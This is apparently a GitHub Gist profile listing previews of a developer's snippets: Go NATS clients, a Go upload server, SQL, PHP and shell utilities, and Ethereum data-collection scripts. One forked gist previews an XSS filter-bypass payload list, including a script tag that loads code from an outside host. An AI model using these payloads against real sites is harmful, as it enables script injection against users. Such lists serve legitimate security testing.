Skip to content

Instantly share code, notes, and snippets.

View chlp's full-sized avatar
🤠

Aleksei Rytikov chlp

🤠
View GitHub Profile
@chlp
chlp / nats-reader.go
Created January 23, 2022 10:14
nats simple reader
package main
import (
"github.com/nats-io/nats.go"
"github.com/nats-io/stan.go"
"os"
"time"
)
func main() {
@chlp
chlp / nats-stan-publisher.go
Created January 23, 2022 10:06
nats-io/stan.go simple publisher
package main
import (
"fmt"
"github.com/nats-io/nats.go"
_ "github.com/nats-io/nats.go"
"github.com/nats-io/stan.go"
"os"
"time"
)
@chlp
chlp / modal-for-cloudflare-challenge-page.html
Created May 28, 2019 12:25
html page with modal for cloudflare challenge page
<div class="cloudflareChallengePage-closed" id="cloudflareChallengePage-overlay"></div>
<div class="cloudflareChallengePage-closed" id="cloudflareChallengePage-modal">
<div>
<p id="cloudflareChallengePage-text-1">
Необходимо пройти проверку защиты от спама.<br>
Нажмите кнопку «Ок» (откроется новое окно).
</p>
<p class="cloudflareChallengePage-closed" id="cloudflareChallengePage-text-2">
Дождитесь окончания проверки или перейдите по ссылке
(здесь a href с открытием новой вкладки на случай если window.open все-таки не отработал)
@chlp
chlp / loop_insert.sql
Created May 7, 2019 16:28
MySQL testing large tables
-- CREATE TABLE IF NOT EXISTS balances
-- (
-- address VARCHAR(40) NOT NULL,
-- timestamp BIGINT UNSIGNED NOT NULL,
-- balance BIGINT UNSIGNED NOT NULL,
-- PRIMARY KEY(address, timestamp)
-- );
--
-- SELECT balance FROM balances WHERE address=%s AND timestamp<%s ORDER BY timestamp DESC LIMIT 1;
@chlp
chlp / replace_serialized_data.php
Created May 7, 2019 14:22
php change str_replace inside serialized data and fix it
<?php
$change_from = 'old_string';
$change_to = 'new_string_new_length';
$serialized = file_get_contents('serialized_data.txt');
$serialized = str_replace($change_from, $change_to, $serialized);
function fix_str_length($matches) {
$string = $matches[2];
$right_length = strlen($string); // yes, strlen even for UTF-8 characters, PHP wants the mem size, not the char count
return 's:' . $right_length . ':"' . $string . '";';
}
@chlp
chlp / git_branch_rename.sh
Last active April 9, 2019 12:39
git rename origin
git checkout old_name
git branch -m new_name
git push origin -d old_name
git push -u origin new_name
@chlp
chlp / server.go
Last active April 4, 2019 13:10
go webserver with file uploading
// chlp 2019
// go run server.go
package main
import (
"bytes"
"fmt"
"io"
"net/http"
@chlp
chlp / xxsfilterbypass.lst
Created January 23, 2019 07:14 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<?php
$fileName = 'balances.csv';
file_put_contents($fileName, "address;balance\r\n");
$addresses_str = "0x1c1f7cf92e3fd0cc449ef08724a6c59c06a33c9c
0xaba2f30af702f3d250a54566bf840bdbcfd8b05c
0xf9f3bf7fdfd156fa73c18e3b1b9780981a8227dc
0xab5f64fbad42c114ba6d80bd3818d68d9b85ecb4
0x2243211fd15243a273fa23a3271d0c28a40a1dbb
@chlp
chlp / cpt_transfers_collection.php
Last active December 19, 2018 15:00
collect all cpt transfers transactions (ETH) from block number
<?php
$currentBlock = 6430271;
$fileName = 'transactions.csv';
file_put_contents($fileName, "txhash;from;to;timestamp;amount\r\n");
$max_iters = 999;
$txhashes = [];
$tx_count = 0;
while (--$max_iters) {
echo "Progress block: $currentBlock count: $tx_count (iterations limit: $max_iters)\r";
$out = '';